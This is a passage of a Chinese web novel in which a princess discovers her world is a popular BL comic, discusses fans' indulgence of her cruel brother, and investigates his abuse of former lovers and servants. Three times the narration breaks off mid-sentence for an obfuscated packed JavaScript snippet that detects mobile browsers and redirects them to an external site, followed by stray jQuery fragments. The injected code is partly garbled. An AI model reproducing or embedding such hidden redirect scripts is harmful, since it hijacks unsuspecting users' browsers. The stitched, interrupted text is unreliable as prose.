“那……愉神榜？”辛西娅忽然想到了什么“是……人气排名吗？” “是的，”眠云点头“毕竟这是一部有着很多角色，内容也相当丰富的漫画，如果不适当裁掉一些低人气角色，那漫画就显得太过繁复了。” “我可以看吗？”每次遇到难以接受的事，辛西娅都会强迫自己冷静下来，既然事情不会因为她不接受而改变，那就选择损失最小，利益最大的路。 “可以，”眠云随口应下，又将辛西娅带到了一间安静的咖啡屋“电子版的漫画上还有其他人的评价，或许你可以在这些评价中知晓如何提升愉神榜排名。” 辛西娅用手指点在手机屏幕上，她想知道，她到底在一个怎样的故事里，扮演着什么样的角色。 “打扰一下，我可以坐这儿吗？” 正当辛西娅看的入神之际，两个年轻姑娘指了指她旁边的位置，有些不好意思的说道“抱歉，咖啡店人太多了，小妹妹，你介意拼个桌吗？” “这家店非我所有，二位请自便。”一心看漫画的辛西娅并未太过注意这两个陌生人，直到二人坐到了她身边，指着手机小声问道“小妹妹，你也喜欢这本漫画？” “……对，”辛西娅不太好解释，只好承认“我是今天才看到的，觉得这本漫画很有意思，以前我都没有看过类似的，所以刚刚看入了神。” “嘿，这你可就找对人了！”坐在辛西娅左边的马尾辫女孩一拍手“我可是这部漫画的骨灰级读者，小妹妹你有什么不知道的，尽管问我就行。” “我的确有些看不明白，”辛西娅指着其中一条弹幕问道“这个‘女王受’是什么意思？故事并里没有出现过女王，为什么大家都在重复这个词？” “小妹妹，看来你真是新入坑的啊！”马尾辫女孩摩拳擦掌，誓要安利出自己最爱的漫画“女王受，就是指耽美故事中那些外表华丽漂亮，傲慢又霸道，总之就是很有气势的受啦。” “……我大概明白了你的意思，”辛西娅沉思了片刻后又问道“可是，衣着华丽、傲慢、霸道，这三个特质只要是贵族或多或少都会有，而且贵族男性在这方面的特质更明显，你们为什么要称呼拥有这种特质的人为‘女王’呢？如果叫做‘国王受’或者‘贵族受’的话，不是会更贴切一些吗？” 30. 第6章 “这个……”自认老司机的马尾辫女孩被问的卡了壳，只好胡乱说道“你看啊……如果叫贵族受吧，总感觉少了点儿王者霸气，如果叫国王受，那就太强硬太严肃了，感觉……少了点儿情趣。” “我明白了，”辛西娅垂下眼“因为人们默认，女人不如男人厉害，女王也比不上国王，所以国王就是高高在上不容侵犯，女王就像是情人之间的玩笑，可以用来打趣。” “这……其实也不用太计较称呼，大家只是随便说说。”马尾辫女孩有几分尴尬，虽然道理确实是这样，但她自己也是女人，这么直接说出来，让她面子上有些挂不住。“我们可以一起讨论讨论剧情之类的，这本漫画的剧情还是很好的。” “唔……在本漫画里，为什么大家都很喜欢霍尔呢？”辛西娅手指划过一脸倨傲，衣着华丽的少年“这位小姐，你觉得霍尔哪里比较讨人喜欢？” “当然是脸啊！”马尾辫女孩一脸理所当然“脸在江山在，这么好看的脸，哪怕他做坏事，我都感觉是别人的错。” “仅仅是因为这样吗？”辛西娅紧握双手“因为他足够好看，所以对旁人的欺凌也成了理所当然？！” 马尾辫女孩刚想点头，却发现辛西娅脸色不太好，她立马找了个理由岔过去，心里却是暗想这妹子是不是遭遇过校园霸凌，连看个漫画都如此真情实感。 “其实也不是，”坐在愉神另一边的短发女孩说了一句“霍尔的性格，是那种表面任性跋扈，实际上就是个傲娇小可爱，喜欢口是心非，还是挺可爱的。” “傲娇……小可爱？”辛西娅怀疑自己的耳朵坏掉了，或者自己所在的世界和漫画并不完全相同，为什么神界的人，会觉得喜怒无常的霍尔可爱？ “对啊，”马尾辫女孩随意举了个例子“就像那个舞会上有个女人故意想往霍尔身上撞，霍尔虽然嘴上说着要杀她，可利奥一劝，他就不计较了，这难道不是傲娇吗？” “我倒是觉得这个更向对老公撒娇，”短发女孩也忍不住加入进来“就是‘别人说的都是废话，只听我老公说的’那种感觉，也太娇太可爱了。” “我知道这件事，”辛西娅当然知道，因为那场舞会她也在场“我想，或许不是因为利奥的劝说，而是因为那个想要引起他注意的姑娘，是奥古斯公爵的女儿。” 辛西娅从小和霍尔一起长大，对于霍尔，她再了解不过。 虽然霍尔整天一幅嚣张跋扈的模样，但到底谁能碰，谁不能碰，他心里还是有数的，以往因为冒犯他而被杀的人大多是平民、侍卫、侍女一类地位不高的平民。 帝国贵族地位很高，哪怕是王子公主，在没有确凿证据的情况下，也没有资格直接杀掉贵族，更别提是在帝国威势赫赫的奥古斯公爵之女。 若霍尔真的不论身份只看心情处置旁人，即便他有王储的身份，也不知道被弄死多少次了。 归根到底，不过是欺软怕硬，看人下菜碟而已，难道连这种特质都可以被称为可爱了吗？ “哎呀，就是……你不觉得有时候霍尔很像炸毛的小鸡仔吗？”马尾辫女孩第一次感觉自己如此嘴笨，竟然连自己喜欢角色的优点都说不出“就是那种，有一点嚣张，有一点傲娇，但还有一点笨笨的，他其实只是嘴比较毒，也没有伤害过很多人吧？” “……霍尔没有臭名昭著，不是因为他心善，而是因为他是王储，不好对身份高的贵族出手。”辛西娅真的搞不懂神界之人的脑回路，为什么一大堆缺点连在一起，就变成可爱的优点了。 “王储这个身份，代表着权利的同时也代表着束缚，在父……国王还没有放权给他的情况下，霍尔手里并没有多少实权，若是他犯了大错，丢了王储的身份，那其他上位的王子可不会放过他。” “况且，有一点你说错了，霍尔杀过不少人，有侍卫，有仆从，也有侍女，总不能因为这些人的身份不高，就不把他们当人看吧？” “霍尔是王子，杀几个下人不也是很正常？哪个贵族还能把仆人供起来？”短发女孩心里有些不舒服，她原本以为辛西娅是同好，但聊了这么长时间，辛西娅一直在找茬，这人到底是粉丝还是黑子？ “可是这里，”辛西娅指出了一个画面“为什么大家都在骂琳娜小姐？” “她当然该骂，”短发女孩没了耐心，只随意看了一眼便答道“女佣不过是把牛奶洒在她裙子上了，她就狠狠打了人家十几个巴掌，这女人也太恶毒了！” “哦，”辛西娅抬头看了短发女孩一眼“所以，打十几个巴掌比丢一条命更可怕？” 辛西娅并不认可琳娜的行为，但比起霍尔，琳娜做的事可以说是小巫见大巫，为什么两人做了差不多的事，只有琳娜受到惩罚丢了性命，霍尔却依旧逍遥自在，甚至被所有人喜爱？ “因为霍尔是王子，君要臣死臣不得不死你懂不懂？”短发女孩彻底怒了“你是霍尔的黑子？果然人红是非多，打拳是吧？就因为有你这样到处打拳的田园□□，挑起性别对立，网上风气才这么差，你……” “行了行了，少说两句。”马尾辫女孩见势头不对，连忙把短发女孩拉走，辛西娅没太听懂短发女孩在说什么，却大概知道对方在骂她，她倒也没生气，只是觉得有点儿失望而已。 原来，所谓掌控他人生死的神明，也是这样普普通通，甚至没多少思考能力的吗？ “怎么样，看完了吗？”眠云出现在咖啡屋，周围丝毫没有人注意到这里多了一个人。“你找到受欢迎的办法了吗？” “我看完了，”辛西娅苦笑着摇摇头“可看完以后，我更不知道该怎么得到‘神’的喜欢了，因为‘神’喜欢的人，恰恰是我不喜欢的，我想我们很难理解彼此。” “其实也不算难理解，”眠云坐到辛西娅旁边，给自己点了杯咖啡“如果你将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913607|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这本漫画当成现实来看，霍尔自然是很讨人厌的，但如果你将这一切只当做故事来看，那还是挺精彩的。” “……故事，”辛西娅喃喃自语，随后反应过来“对啊，神界的经济、文化、人文，应该与赫瑟瑞帝国相差很大，所以在我看来很真切的痛苦，她们是感受不到的。” “是的，”眠云点头“这个世界很和平，法律也更严格，普通人终其一生可能都没见过一个横死的人，所以她们对杀人没有概念，对随意剥夺他人生命的人，自然也没什么恶感。” “我明白，”辛西娅点头，神情已经恢复了平静“就像我在读魔王骑士故事的时候，也不觉得魔王挥挥手就杀了一城的百姓有多坏，因为我知道，这个世界上没有魔王，也没有一挥手就能杀死一城人的法术，就像神界没有王子，也不会有王子随便杀人一样，看不到的东西，自然无法共情。” “可为什么，大家对霍尔如此宽容？”辛西娅忍不住问道“我不想诋毁霍尔，但他的确是一个除了外貌和高贵出身找不出多少优点的人。” “这个啊，其实和这本书的性质有关，”眠云指了指辛西娅手里的手机“你应该了解过了吧，这是一本耽美漫画。” “是的，”辛西娅点头“我明白这是什么意思，男人和男人之间的爱情，其实在赫瑟瑞，这样的事也是有的，我并不反对两个男人相爱，只是……我想王兄对利奥并没有爱情。” “重点不是爱情，而是题材。”眠云摇了摇手指“在传统的爱情故事中，有男人和女人，人们要求男人的能力，要求女人的品德，这就构成了最经典的爱情故事。比如勇者和公主的故事，里面的勇者能打败魔王，就说明他很有能力，而故事中的公主被描述最多的，除了美貌，恐怕就是温柔善良。” “有道理，”辛西娅忍不住点头“像我之前看到的，王子与勤劳善良的农场主女儿，帝国将军与贵族小姐，都拥有差不多的特质。” “可问题在于，原本是一男一女的故事，换成了两个男人。”眠云笑了一下说道“一直以来的传统要求在这里卡了壳，以你的王兄举例吧，人们对你王兄的要求，既不是对男人的，也不是对女人的。” “你王兄显然没有什么能力，我记得他所有课程要么没及格，要么没学完，剑术也从来不动手，这样的人设放在传统的爱情故事男主里，显然是不会受欢迎的。” “如果把他放到女主角的位置，也是不合适的，毕竟没有哪个爱情故事里的女主会因为心情不好而随便杀人，还曾经养过好几个情人。” “因为是新鲜事物，人们以前没见过，反而对两个男人的爱情没什么过多的要求，哪怕不符合人们以往约定俗成的传统，一想到性别就觉得和以前不一样也是理所当然。” “时间一长攻、受成了耽美中的性别，他们不再是喜欢男人的男人，而是排除于男人、女人以外的第三种性别。” 31. 第7章 “我懂了，”辛西娅恍然大悟“前一段时间，赫瑟瑞王国流行起了一段时间的精酿啤酒，一杯要价几十个铜币，比普通的啤酒要贵了十倍不止。” “可其实所谓的精酿啤酒，就是发酵时间更长一点的普通啤酒而已，若是打着长期发酵的普通啤酒，它绝对不可能买出如此高价。” “所以它改了个名字，叫自己精酿啤酒，听起来好像和普通啤酒不一样，实际上却是差不多的东西。原本人们用来品评啤酒那一套标准，反而不能用来品评精酿啤酒，因为精酿啤酒是一个新的概念，在某种意义上来说，已经不属于啤酒的范畴。” “精酿啤酒，就像我王兄的故事一样。”辛西娅指了指手机屏幕“虽然他同样是爱情故事的主角，但因为另一个主角是男人，所以他不受力量或品德的约束，约束越少，能写的内容越多，尤其某些杀戮或情欲场面都十分具有冲击力，我的王兄也因此成了人气角色。” “你说的对，”眠云用手支着头，眼睛看向窗外“我早就说过，你很聪明。” “谢谢，”辛西娅道了一声谢，紧接着她又问“女巫小姐，我明白了王兄为什么受欢迎，但为什么包括我在内的所有女性角色人气都很低呢？难道这也与性别有关吗？” “用你刚才说过的例子举例吧，”眠云搅了搅手边的咖啡“因为精酿啤酒买的很好，所以一个头脑灵活的商家打算开一间精酿酒馆，当然了，这家精酿酒馆里也有普通啤酒，你觉得在这里，普通啤酒的销量会好吗？” “肯定不会，”辛西娅似乎明白了什么“去精酿啤酒酒馆的人就是为了喝精酿啤酒，若是想喝普通啤酒，那去精酿酒馆做什么？” “是的，”眠云微微颔首“在耽美世界中的女性就好像是在精酿啤酒店里的普通啤酒，不一定不好，但定位一定是很尴尬的。” “原来是这样，”辛西娅无奈苦笑“怪不得，怪不得女性角色人气都很低，人家是来看耽美漫画的，本来就不想看到女人，女人的人气能高才怪了。” “也有稍微例外一点的角色，例如第三骑士团的团长，卡洛琳女士，”眠云用手指点了点漫画末尾的人气排行榜“你知道为什么卡洛琳女士一直保持着排行榜前十的高人气吗？” “因为卡洛琳女士是一位值得尊敬的人？”辛西娅明显有些犹豫，因为她不知道自己说的对不对“卡洛琳女士能够在只招收男性的骑士团稳坐团长的位置，其能力和毅力远非常人所能及。” “这固然是一个理由，但你别忘了，这是一本耽美言情漫画，人们对于情感的思考要大于对能力或社会构造的思考。” 眠云仍旧在笑，语气却缓了下来“因为骑士、短发、没有家庭三个特征，最大程度削弱了卡洛琳女士的女性特质，包括我当初建议你将头发剪短，用轻甲代替裙子，以后尽量穿男装，也是出于这方面考量。” “可是弹幕上都说很喜欢这种嗯……‘大女人’？”对于网络流行词语，辛西娅还不是很熟悉，但她大概能猜出这些词的意思。 “准确的来说，是她们不希望书中的女人有情感需求。”眠云将咖啡杯放下，语气还是一如既往的平静“因为女人一但有情感需求，就会不可避免的走向婚姻，而婚姻制度是男性占据社会主导地位之后的产物，在婚姻中，女人很难不被剥削。” “这样做……真的是对的吗？”辛西娅犹犹豫豫的问道“这样不是属于……呃……在这里应该叫消极抵抗吧？” “不是消极抵抗，而是忽视。”眠云不置可否“其实大部分人都想不到婚姻不平等这一层，她们只是本能的觉得没有丈夫更好，只要女性没有丈夫，不进入婚姻，就可以假装没有那些在婚姻中受到伤害的女人，毕竟看漫画只是图个乐子，谁愿意去看苦大仇深的受害者呢？” “我明白了，”辛西娅脸上浮现出了无奈，就像她每一次看到帝国贵族欺辱平民，自己却毫无办法那样“我明白为什么耽美又被叫做纯爱了。” “因为它的受众群体只想享受纯粹的爱情故事，如果故事的主角是一男一女的话，就难免会牵扯到婚姻。”辛西娅扯了扯嘴角，勉强露出了一个笑“为了避开婚姻这个现实且复杂的议题，大家选择去掉女人，从根源上解决问题，一了百了。” 俗话说，解决不了问题，就去解决制造问题的人，女性在婚姻中的困境无法解决，那就干脆解决掉女性角色，只要观众看不见歇斯底里的女人，爱情就依旧是美好的。 “难怪……”辛西娅扶额“难怪女巫小姐会为我编写一个这样的剧本。” 被渣男背叛，又手刃渣男，封心锁爱，既有复仇的爽点，又确立了清醒、独立、远离爱情的人设，难怪她的人气会一下子上升这么多。 “如果你能维持住我帮你立的人设的话，保持中等人气应该没什么问题。”眠云笑道“只是，我觉得你未必能够坚持下去。” “真的有人会用换装来证明决心吗？”辛西娅无奈的点点头“虽然我也觉得贵族的衣服太过繁复，简洁些会更方便，但轻甲对我来说还不如裙子，毕竟裙子的重量只有几磅，最轻的轻甲重量也有十几磅，要是整天穿着轻甲，哪怕我什么都不做，也会觉得很累。” “没办法，武力上的强大是最直观，也是最容易被人们接受的。”眠云耸耸肩“在赫瑟瑞，女性参政艰难，有时候难免要使些手段，而漫画外的人又喜欢对女性进行道德审判，哪怕你成功了都会有很大争议，失败了就会被打上恶毒女配的标签。更何况，与主角作对的配角，会死的很惨哦。” “果然什么都瞒不住女巫小姐，”辛西娅神色认真了些“如果我不知道愉神的真相，我自然可以选择随波逐流得过且过，但如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916902|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今我知道了，就不可能坐视不理。” “请我出手的代价很大，”眠云嘴角含着笑意“你确定要这么做吗？” “我确定，”辛西娅丝毫没有迟疑“凡我所有，女巫小姐尽可以拿去，只要赫瑟瑞帝国从此不再有愉神。” 若今日她不牺牲，那这场荒唐的愉神游戏还会持续多久？有多少人和她一样，不得不扮演着受欢迎的人设，过着如同提线木偶一般的一生？ “我的确有办法，但要看你能不能做到。”眠云看着辛西娅，笑道“两个方法，一个快一个慢，你想选哪个？” “快的方法是什么？”辛西娅问。 “杀掉主角，”眠云慢悠悠的说着“只要主角死了，扁平世界与小世界之间的联系就会断开，当然了，这一招虽然快，但是风险也不小。” “首先就是如何杀掉主角，”眠云伸出一根手指“主角不是那么容易杀的，因为有气运傍身，哪怕只有一成生还概率，主角也能成功活下来。” “二来，就是人气问题，与主角敌对的人，尤其是女人，非常容易被道德审判，人气会降的很快，要是在没成功杀死主角之前就被愉神榜淘汰，那就功亏一篑了。” “如果这两点操作得当还可以避免的话，那最后一点无论如何都无法规避。”眠云略显严肃的说道“扁平世界的主角骤然死亡，整个世界都会有崩塌的可能，这一点连我也无法提前预测。” “那另一个方法呢？”辛西娅追问道“应该还有旁的方法吧？” “另一个方法，就是让主角不再是主角。”眠云解释道“如果你可以让主角塌房到无可挽回的地步，漫画停止更新，小世界与扁平世界的联系自然会断开。” “这两种方法对你来说无论哪种都是很难的，”眠云客观分析“毕竟以你现在的人气，想要和主角硬碰硬，怎么想都很危险。” “我知道，”辛西娅点头，后又忽然问道“女巫小姐，这次我需要付出什么报酬？” “等你成功了以后再说吧，”眠云将剩下的咖啡一饮而尽“毕竟我只是提了个建议，现在要收取报酬还太早了些。” * “云云，”咖啡屋外，花花兴奋的在树丛间跑来跑去，见眠云出来，它一下子跳进眠云怀里撒娇“我们再多在这里待一会儿好不好？” “好啊，”眠云顺手摸了摸花花的脑袋“刚好辛西娅也想多待一段时间。” “小公主也喜欢这里吗？”花花向窗户里面望了望“她怎么一直在那儿坐着呀，那里有什么好玩儿的？” “她在想办法让她的王兄塌房，”眠云也看了一眼辛西娅“毕竟这个世界对男人实在很包容，对攻受这样的第三性别更是包容，只要不是太炸裂的事，基本都没办法将他的王兄逼到无法翻身的地步，而人气一但反噬，死的就会是她了。” 32. 第8章 “云云，小公主好坚强啊。”花花对辛西娅是有几分喜欢的，主要是因为在回到赫瑟瑞帝国以后，辛西娅主动把她的裙子送给了花花当玩具。“其实她可以什么都不做吧？毕竟她现在已经不会死了。” “是的，”眠云笑了笑“我同你说过，辛西娅远比她表现出来的要坚强、聪明。” 作为一个公主，辛西娅乍看相当平凡，比起金发蓝眼，如同神明宠儿一般的霍尔，她长相普通，头发眼睛都是常见的棕色，脸上还有着雀斑，两人站在一起的时候，任谁都能一眼看出霍尔才是主角。 在待人接物方面，辛西娅也不像霍尔那般有个性，她礼仪完备，谈吐文雅，待人温和又没什么架子，在贵族圈子里的口碑不错，但也没有那么声名远扬。 “作为一个公主，她能被允许显示的，只有容貌和礼仪。”眠云挥手，一道水幕在花花面前浮现“无人在意她的智慧，即使她在治国这方面，真的有天赋。” 水幕中，是辛西娅在上课时屡次被老师夸奖的画面，以及她全优的成绩单，她曾多次向赫瑟瑞的国王提出治国之策，却被国王以公主不应该管这些搪塞了回去。 公主只代表了高贵的出身，却没有参政议政的权利，哪怕辛西娅再聪明，她未来所掌握的权利也不会比一个纨绔贵族更多。 “哇——没想到小公主这么厉害，”花花看着水幕中的辛西娅感慨道“她一开始说话时轻声细语的，我还以为她的胆子很小呢。” “这位胆子很小的公主，可是少数一见面就主动和我提条件的，”眠云笑着摇摇头“虽然她不多话，说话时也细声细气的，但这和胆小是两码事。” 如果用一个词来形容辛西娅，那最贴切的莫过于外柔内刚。 破坏愉神这件事，成功了对辛西娅没多大好处，失败了她却要付出相当沉重的代价，在这个不公平的世界里追求公平很愚蠢，可明知这是件蠢事，还一往无前的追寻，又何尝不是一种勇气呢？ “云云，”见眠云在路边发呆，花花有些担忧的用脑袋蹭了蹭眠云的衣领“你怎么了？” “没什么，”眠云回过神来“只是想起了一些以前的事。” “以前的事？”花花很久以前便生了灵智，比起近期才生灵智，只会像稚童一般说几个字的小红，它知道的事可就多了。“是哪一件呀？” “你还记得，我最初是无法离开岐山的吧？”眠云笑了笑“也对，我是岐山的山神，没办法离开也是正常。” “记得呀，”花花脆生生的答道“那个时候实在太无聊了，幸亏有……” 似是想起了什么，花花一下子噤了声，它动了动爪子，小声说道“幸亏……幸亏……还有人会误入岐山？” “没什么不能说的，”眠云轻笑一声“如果不是林长青的话，或许我现在仍旧会被困在岐山。” “云云，”花花又撒娇似的拿自己柔软的皮毛蹭了蹭眠云的脖颈“事情已经过去了那么久，别伤心啦。” “……我只是在想，”眠云沉默了许久才答道“怎么会有人那么傻，为了一个微乎其微的可能，去赌上自己的性命呢？” * 时间匆匆而过，辛西娅在现代一共待了三天，在这期间她想了无数办法，也在网上询问过许多人，最后终于找出了一个方法。 “我问过许多网友，”辛西娅一脸疲倦，她这三天没有一刻休息，只为能找出让霍尔塌房的方法。“在爱情漫画中，人们很少对男人进行道德审判，对受甚至连能力要求也没有，如果只让霍尔展示出他的傲慢、不讲理、欺软怕硬、愚蠢这种大众缺点，很难让所有人都彻底讨厌他。” “只有一点，是我知道，但读者不知道的。”辛西娅脸上虽有疲惫，眼睛却很亮“王兄和利奥，绝对不是什么真爱，这一点，我很确定。” “虽说赫瑟瑞的贵族中，也有同性相爱的先例，但王兄曾经有三个情人，这三个情人都是女人，而且三个情人和他在一起的时间分别是三年、两年和一年半，这么长的时间，不太可能是做戏或谣传。” “如果王兄喜欢男人，他多少会找过一两个男性，哪怕他觉得男情人是一件丢人的事，不想被人知道，也不可能一点儿风声都没有。” “退一万步说，王兄之前无论男人女人都不是真爱，唯有利奥是灵魂伴侣也讲不通，因为在利奥担任王兄的侍卫以后，王兄仍旧和两个情人保持着联系长达半年。” 漫画毕竟是漫画，只会画事件，却不会事无巨细的画出每一幕生活场景，有些事，她这个在王宫里生活了十几年的公主自然比观众知道的更详细一些。 “不过，”辛西娅又蹙起眉头“在这本漫画里，王兄曾经亲口承认过他与那几位情人并没有发生过身体上的亲密关系，评论区都在说他只是用情人来挡住其他莺莺燕燕，我觉得应该不是这样，却又没有合理的解释。” 眠云可以知道一切她想知道的事，不过一般时候她不会仔细到连这种小细节都看，这次辛西娅提到，她就稍微多看了一些，看完以后，她神情有些古怪的对辛西娅说道“嗯……这方面你的确需要仔细调查，那几个姑娘可能会知道一些真相。” 辛西娅急于调查，并没有注意到眠云语气的不对劲，不过她也听进去了眠云的建议，打算回去以后就去拜访那几位曾经当过霍尔情人的姑娘。 霍尔的第一位情人名叫爱玛，是一位农场主的女儿，她是待在霍尔身边时间最长的女人，就连辛西娅都听说过她，找到她并不算难。 “日安，这位……小姐，我们认识吗？” 一个长相美丽，身材凹凸有致的红发美人走了进来，她略显疑惑的向身着男装的辛西娅行礼，显然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922488|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不起来自己何时认识了这样一个姑娘。 “日安，爱玛小姐。”辛西娅回了一礼，她今日是偷偷出来的，衣着不算好也不算差，看起来就像是小贵族或农场主的女儿。“爱玛小姐，你应该认识赫瑟瑞的王储，霍尔殿下吧？” “我不明白您在说什么，”爱玛的脸色倏的苍白下去“我只是一个农场主的女儿，怎么会认识王储那种大人物呢？” “爱玛小姐，你不必惊慌。”辛西娅保持着得体的微笑“我知道您与王储已经超过一年都没有联系了，您放心，我只是想问您几个问题而已。” “我没有什么好说的，”爱玛忽然站起来，冷着脸说道“请您离开。” “抱歉，我可能不会就这样放您离开。”辛西娅的语气十分真诚“事急从权，我只能采用特殊方法，但您放心，我保证您和您的家人都不会受到任何伤害。” 爱玛知道，对方这是在威胁她，可她又能怎么办呢？她只是一个农场主的女儿，除了做过王储的情人，没有任何特别之处，哪怕对方只是一个小贵族，也足以威胁到她了。 “你想问什么？”爱玛冷静开口“如果是关于王储的秘密，很抱歉，我也不知道，毕竟我只是个情人，王储不会和我说太重要的事。” “放心，与那毫无关系。”辛西娅没有碰手边的茶水，而是接着问道“爱玛小姐，我承认您是一个相当美丽的女人，但贵族中不乏美女，为什么您能够在王储身边待三年之久呢？我想这种王储的私人喜好，应该在可以回答的范围内吧？” “可能是……我比较听话吧，”爱玛低下了头，神情看起来并不算愉快“霍尔殿下说什么，我便做什么，从不反抗，或许是因为这样，我才在殿下身边待了三年。” “霍……咳，王储是对你很不好吗？”辛西娅敏锐的察觉到了不对劲，按理说霍尔是王储，无论和谁交往对方都会捧着他，为什么爱玛要着重强调听话？ “我这等小人物，自然是得不到殿下高看的。”爱玛喝了一口眼前放着的红茶，茶水已经凉了，散发着苦涩的味道。 辛西娅感觉更不对劲了，提到霍尔的时候，爱玛似乎很紧张，为什么？难道她就这么害怕霍尔吗？难道……她是被强迫的？ 辛西娅想要伸手去拿红茶，岂料爱玛像受到了惊吓一般，将两杯红茶全部打翻，红茶一下子洒落在到爱玛身上，辛西娅刚想递过去一张帕子，却发现爱玛不仅没有去擦拭水渍，反而将自己的手臂往袖子里藏。 “爱玛小姐，”辛西娅不动声色的靠近，将帕子递了过去“你的衣袖湿了，说起来，现在天气这么热，你怎么穿着这么厚的裙装？” 虽说贵族为了彰显富贵，用喜欢用层层叠叠的裙摆，可平民还是多以轻便为主，而爱玛的衣服应该是冬装，她的上半身被裹的严严实实，怎么想都有些不寻常。 33. 第9章 “你看到了？”爱玛紧紧抿着嘴唇，她干脆将湿透的衣袖拉上去“就是你想的那样。” “是……王储做的吗？”辛西娅看着爱玛手臂上一道道细长的疤痕，虽说抓到了霍尔的把柄，但她心里仍旧有些不舒服。 “不然呢？”爱玛语气中带着一股强烈的嘲讽“还能是我自己打的吗？” “……抱歉。”辛西娅低下头，她不想触及爱玛的伤疤，却不得不这样做。“或许……我可以让欺辱你的人付出代价。” “谢谢……或许吧。”爱玛并不对报复王储这件事抱希望，毕竟对方是高高在上的王储殿下，她能从对方手里活下来就已经很不错了。 “你和王储是有什么旧怨吗？他为什么会如此对待你？”辛西娅接着问道。 “不知道，”爱玛摇头“我只是个平民，在此之前从未没有见过王储，更别提恩怨了，而且……我想王储这么对我并非出于报复或羞辱，我这样的人，如果我真的得罪了他，他是不屑亲自出手的。” “那他……”辛西娅不知道该不该下定论，毕竟这件事实在不好说。 “你不如去问问另外两个人，”爱玛尽量让自己平静下来“她们待在王储殿下身边的时间比较短，或许是因为，她们没有我这么能忍吧。” “如果，”辛西娅离开之前，又忍不住回头问“如果有扳倒王储的那一天，你会站出来作证吗？” 这并不是一件简单的事，毕竟指证王储需要莫大的勇气，若王储没有倒下，爱玛作为指证的人，必然会遭到报复。 “……如果我说会，那你真的可以扳倒王储吗？”爱玛几次张嘴又闭上，最后只说了这么一句“没有比现在更差的情况了。” 离开农场以后，辛西娅又接连去了霍尔的另外两个情人那里，果然，三人的情况差不多，身上都有长期被鞭打所留下的疤痕。 “虽然很令人难以置信，但王兄似乎有某种……特殊癖好。”辛西娅回到自己的寝宫，向眠云讲述她这一日的所见所闻“我以前就知道，他喜欢责打下人，我原本以为他只是脾气不好，现在看来，倒也不一定是这样。” “凡是做过的事，必然会留下痕迹。”眠云看着花花在宫殿内上蹿下跳，玩儿的不亦乐乎，她慢悠悠的抿了一口茶说道“你的王兄今年也不过才二十岁，几年前，他可能只有十五六岁，又如何能做到滴水不漏呢？” “女巫小姐说的对。”辛西娅郑重点头，经过这么长时间的相处，她对眠云的性格有些了解。 女巫小姐不会直接告诉她真相，而是会给她一些提示，让她自己去查。 因为女巫小姐无所不知，所以她给出的提示往往非常准确且正好是问题的关键。 “女巫小姐，”想到这儿，辛西娅忍不住夸赞道“您真是一个好女巫。” “我算不上什么好人，只是偶尔会管管闲事。”眠云放下茶杯，轻轻笑了一下“你就当我是……日行一善吧。” 神明不理人间事，她依靠愿力修行，本来只需要实现他人的愿望，但世人的愿望不一定全然是正面，她偶尔提点几句，也不算什么。 事不宜迟，听过眠云的建议以后，辛西娅立刻着手调查服侍过霍尔的所有仆从，尤其是侍女。 被霍尔以各种理由处死的侍女并不算少，辛西娅一一查验，终于功夫不负有心人，她找到了一个异常的记录。 “这个名为贝拉的侍女，是在五年前被霍尔处死的。”辛西娅指着记录上的名字“但……很奇怪，她曾是霍尔的贴身侍女，被处死的罪名是冒犯王室，可在她被处死之前的三个月，她就已经自请离开王宫了。” 霍尔从小养尊处优，有脾气当场就发，只有别人包容他，没有他包容别人的份，按理来说，即使是贝拉真的冒犯了他，那霍尔大概率会当场处死对方，到底是什么事，会让霍尔在三个月之后下令处死她？ 贝拉的父母双亡，叔叔婶婶与她不算亲近，如果说还有谁知道当初在她身上发生了什么，那就只有可能是与她同住的侍女了。 五年前的侍女很多都已经离开王宫，为了找到当初与贝拉同住的侍女，辛西娅废了不少功夫，经过多方打听，她终于在帝国中部的一个小镇找到了对方。 “公主殿下？！” 见到辛西娅的那一刻，侍女显然很是惊讶，她认识辛西娅，但上次见到辛西娅已经是三年前的事了。 “日安，女士。”辛西娅一路风尘仆仆的赶过来，难免有些狼狈，她微微点头向对方致意“我本不应该前来打扰，但有一事我务必要问清，还请见谅。” “殿下言重了，”侍女熟练的行了个屈膝礼，她将辛西娅迎进来，将泡好的红茶放在辛西娅手边。“殿下若有事，只管传召便是，在下不敢有分毫隐瞒。” “既然这样，我就直说了。”辛西娅直接开口问道“你在王宫服侍的时候，和你住同一间房间的贝拉，你可还记得她是怎么死的？死之前又做了什么？” “这……”侍女显然有些犹豫，她吞吞吐吐的说道“我和贝拉其实也不是很熟悉，有关贝拉的事……” 